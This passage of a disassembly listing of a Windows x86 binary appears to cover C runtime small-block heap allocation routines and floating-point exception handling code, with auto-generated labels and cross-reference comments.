		cmp	ebx, [ebp+var_4]
		jnb	short loc_4157D5
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4157D2
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_4157BF
; ---------------------------------------------------------------------------


loc_4157D2:				; CODE XREF: sub_415723+A5j
		cmp	ebx, [ebp+var_4]


loc_4157D5:				; CODE XREF: sub_415723+9Fj
		jnz	short loc_4157FD
		mov	ebx, edx


loc_4157D9:				; CODE XREF: sub_415723+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_4157ED
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4157EB
		add	ebx, 14h
		jmp	short loc_4157D9
; ---------------------------------------------------------------------------


loc_4157EB:				; CODE XREF: sub_415723+C1j
		cmp	ebx, eax


loc_4157ED:				; CODE XREF: sub_415723+BBj
		jnz	short loc_4157FD
		call	sub_415A2C
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_415811


loc_4157FD:				; CODE XREF: sub_415723:loc_4157D5j
					; sub_415723:loc_4157EDj
		push	ebx
		call	sub_415ADD
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_415818


loc_415811:				; CODE XREF: sub_415723+D8j
		xor	eax, eax
		jmp	loc_415A27
; ---------------------------------------------------------------------------


loc_415818:				; CODE XREF: sub_415723+7Aj
					; sub_415723:loc_4157BDj ...
		mov	dword_464210, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41583F
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_415876


loc_41583F:				; CODE XREF: sub_415723+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_415873


loc_41585C:				; CODE XREF: sub_415723+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41585C


loc_415873:				; CODE XREF: sub_415723+137j
		mov	edx, [ebp+var_4]


loc_415876:				; CODE XREF: sub_415723+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41589F
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41589F:				; CODE XREF: sub_415723+16Dj
					; sub_415723+183j
		test	ecx, ecx
		jl	short loc_4158A8
		shl	ecx, 1
		inc	edi
		jmp	short loc_41589F
; ---------------------------------------------------------------------------


loc_4158A8:				; CODE XREF: sub_415723+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_4158C5
		push	3Fh
		pop	esi


loc_4158C5:				; CODE XREF: sub_415723+19Dj
		cmp	esi, edi
		jz	loc_4159DA
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_415936
		cmp	edi, 20h
		jge	short loc_415905
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_415933
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_415936
; ---------------------------------------------------------------------------


loc_415905:				; CODE XREF: sub_415723+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_415933
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_415936
; ---------------------------------------------------------------------------


loc_415933:				; CODE XREF: sub_415723+1D6j
					; sub_415723+203j
		mov	ebx, [ebp+arg_0]


loc_415936:				; CODE XREF: sub_415723+1B0j
					; sub_415723+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_4159E6
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4159D7
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_4159A8
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_415996
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_415996:				; CODE XREF: sub_415723+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_4159D7
; ---------------------------------------------------------------------------


loc_4159A8:				; CODE XREF: sub_415723+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4159C1
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_4159C1:				; CODE XREF: sub_415723+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_4159D7:				; CODE XREF: sub_415723+24Ej
					; sub_415723+283j
		mov	ecx, [ebp+var_8]


loc_4159DA:				; CODE XREF: sub_415723+1A4j
		test	ecx, ecx
		jz	short loc_4159E9
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_4159E9
; ---------------------------------------------------------------------------


loc_4159E6:				; CODE XREF: sub_415723+229j
		mov	ecx, [ebp+var_8]


loc_4159E9:				; CODE XREF: sub_415723+2B9j
					; sub_415723+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_415A1F
		cmp	ebx, dword_464214
		jnz	short loc_415A1F
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_46420C
		jnz	short loc_415A1F
		and	dword_464214, 0


loc_415A1F:				; CODE XREF: sub_415723+2E0j
					; sub_415723+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_415A27:				; CODE XREF: sub_415723+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415723	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A2C	proc near		; CODE XREF: sub_415723+CCp
		mov	eax, dword_464218
		mov	ecx, dword_464208
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_415A6F
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_46421C
		push	edi
		push	dword_464220
		call	dword_41D158	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_415ABF
		add	dword_464208, 10h
		mov	dword_46421C, eax
		mov	eax, dword_464218


loc_415A6F:				; CODE XREF: sub_415A2C+11j
		mov	ecx, dword_46421C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_464220
		lea	esi, [ecx+eax*4]
		call	dword_41D144	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_415ABF
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_41D174	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_415AC3
		push	dword ptr [esi+10h]
		push	edi
		push	dword_464220
		call	dword_41D148	; RtlFreeHeap


loc_415ABF:				; CODE XREF: sub_415A2C+30j
					; sub_415A2C+67j
		xor	eax, eax
		jmp	short loc_415ADA
; ---------------------------------------------------------------------------


loc_415AC3:				; CODE XREF: sub_415A2C+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_464218
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_415ADA:				; CODE XREF: sub_415A2C+95j
		pop	edi
		pop	esi
		retn
sub_415A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415ADD	proc near		; CODE XREF: sub_415723+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_415AEF:				; CODE XREF: sub_415ADD+19j
		test	eax, eax
		jl	short loc_415AF8
		shl	eax, 1
		inc	ebx
		jmp	short loc_415AEF
; ---------------------------------------------------------------------------


loc_415AF8:				; CODE XREF: sub_415ADD+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_415B0D:				; CODE XREF: sub_415ADD+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_415B0D
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_41D174	; VirtualAlloc
		test	eax, eax
		jnz	short loc_415B40
		or	eax, 0FFFFFFFFh
		jmp	loc_415BD3
; ---------------------------------------------------------------------------


loc_415B40:				; CODE XREF: sub_415ADD+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_415B86
		lea	eax, [edi+10h]


loc_415B4D:				; CODE XREF: sub_415ADD+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_415B4D


loc_415B86:				; CODE XREF: sub_415ADD+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_415BC3
		or	[eax+4], edi


loc_415BC3:				; CODE XREF: sub_415ADD+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_415BD3:				; CODE XREF: sub_415ADD+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD8	proc near		; CODE XREF: sub_413D8F+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_415D86
		test	bl, 1
		jnz	loc_415D7F
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_415D7F
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_415C4F
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_415C4F:				; CODE XREF: sub_415BD8+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_415C9F
		cmp	ecx, 20h
		jnb	short loc_415C7B
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_415C9F
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_415C9F
; ---------------------------------------------------------------------------


loc_415C7B:				; CODE XREF: sub_415BD8+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_415C9F
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_415C9F:				; CODE XREF: sub_415BD8+7Dj
					; sub_415BD8+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_415D6D
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_415CD9
		push	3Fh
		pop	edi


loc_415CD9:				; CODE XREF: sub_415BD8+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_415D5B
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_415D32
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_415D25
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_415D25:				; CODE XREF: sub_415BD8+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_415D57
; ---------------------------------------------------------------------------


loc_415D32:				; CODE XREF: sub_415BD8+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_415D48
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_415D48:				; CODE XREF: sub_415BD8+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_415D57:				; CODE XREF: sub_415BD8+158j
		shr	edx, cl
		or	[eax], edx


loc_415D5B:				; CODE XREF: sub_415BD8+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_415D70
; ---------------------------------------------------------------------------


loc_415D6D:				; CODE XREF: sub_415BD8+E5j
		mov	edx, [ebp+arg_4]


loc_415D70:				; CODE XREF: sub_415BD8+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_415EC6
; ---------------------------------------------------------------------------


loc_415D7F:				; CODE XREF: sub_415BD8+52j
					; sub_415BD8+5Cj
		xor	eax, eax
		jmp	loc_415EC9
; ---------------------------------------------------------------------------


loc_415D86:				; CODE XREF: sub_415BD8+49j
		jge	loc_415EC6
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_415DB1
		push	3Fh
		pop	esi


loc_415DB1:				; CODE XREF: sub_415BD8+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_415E40
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_415DCA
		push	3Fh
		pop	esi


loc_415DCA:				; CODE XREF: sub_415BD8+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_415E19
		cmp	esi, 20h
		jnb	short loc_415DF5
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_415E16
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_415E16
; ---------------------------------------------------------------------------


loc_415DF5:				; CODE XREF: sub_415BD8+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_415E16
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_415E16:				; CODE XREF: sub_415BD8+214j
					; sub_415BD8+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_415E19:				; CODE XREF: sub_415BD8+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_415E40
		push	3Fh
		pop	esi


loc_415E40:				; CODE XREF: sub_415BD8+1DDj
					; sub_415BD8+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_415EBD
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_415E94
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_415E87
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_415E87:				; CODE XREF: sub_415BD8+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_415EB9
; ---------------------------------------------------------------------------


loc_415E94:				; CODE XREF: sub_415BD8+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_415EAA
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_415EAA:				; CODE XREF: sub_415BD8+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_415EB9:				; CODE XREF: sub_415BD8+2BAj
		shr	edx, cl
		or	[eax], edx


loc_415EBD:				; CODE XREF: sub_415BD8+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_415EC6:				; CODE XREF: sub_415BD8+1A2j
					; sub_415BD8:loc_415D86j
		push	1
		pop	eax


loc_415EC9:				; CODE XREF: sub_415BD8+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415BD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_415ECE(int, int, double, int)

sub_415ECE	proc near		; CODE XREF: sub_412842+51p
					; sub_41298B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_431E28, 0
		jnz	short loc_415F03
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_416483
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415F03:				; CODE XREF: sub_415ECE+Aj
		push	0FFFFh
		mov	dword_462BC4, 21h
		push	[ebp+arg_C]
		call	sub_4166F6
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_415ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415F21(int, int, double, double, int)

sub_415F21	proc near		; CODE XREF: sub_412842:loc_412905p
					; sub_41298B:loc_412A4Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41626C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415F5F
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_415FB9
		add	esp, 18h


loc_415F5F:				; CODE XREF: sub_415F21+1Aj
		push	[ebp+arg_0]
		call	sub_416556
		cmp	dword_431E28, 0
		pop	ecx
		jnz	short loc_415F9D
		test	eax, eax
		jz	short loc_415F9D
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_416483
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_415F9D:				; CODE XREF: sub_415F21+4Ej
					; sub_415F21+52j
		push	eax
		call	sub_41650B
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4166F6
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_415F21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415FB9	proc near		; CODE XREF: sub_415F21+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_415FEB
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_415FEB:				; CODE XREF: sub_415FB9+23j
		test	cl, 2
		jz	short loc_415FFE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_415FFE:				; CODE XREF: sub_415FB9+35j
		test	cl, bl
		jz	short loc_416010
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_416010:				; CODE XREF: sub_415FB9+47j
		test	cl, 4
		jz	short loc_416023
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_416023:				; CODE XREF: sub_415FB9+5Aj
		test	cl, 8
		jz	short loc_416036
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_416036:				; CODE XREF: sub_415FB9+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4166D9
		test	al, bl
		jz	short loc_4160BF
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4160BF:				; CODE XREF: sub_415FB9+FDj
		test	al, 4
		jz	short loc_4160CA
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4160CA:				; CODE XREF: sub_415FB9+108j
		test	al, 8
		jz	short loc_4160D5
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4160D5:				; CODE XREF: sub_415FB9+113j
		test	al, 10h
		jz	short loc_4160DF
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4160DF:				; CODE XREF: sub_415FB9+11Ej
		test	al, 20h
		jz	short loc_4160E9
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4160E9:				; CODE XREF: sub_415FB9+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_416128
		cmp	eax, 400h
		jz	short loc_41611A
		cmp	eax, 800h
		jz	short loc_41610E
		cmp	eax, ecx
		jnz	short loc_41612E
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41612E
; ---------------------------------------------------------------------------


loc_41610E:				; CODE XREF: sub_415FB9+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_416124
; ---------------------------------------------------------------------------


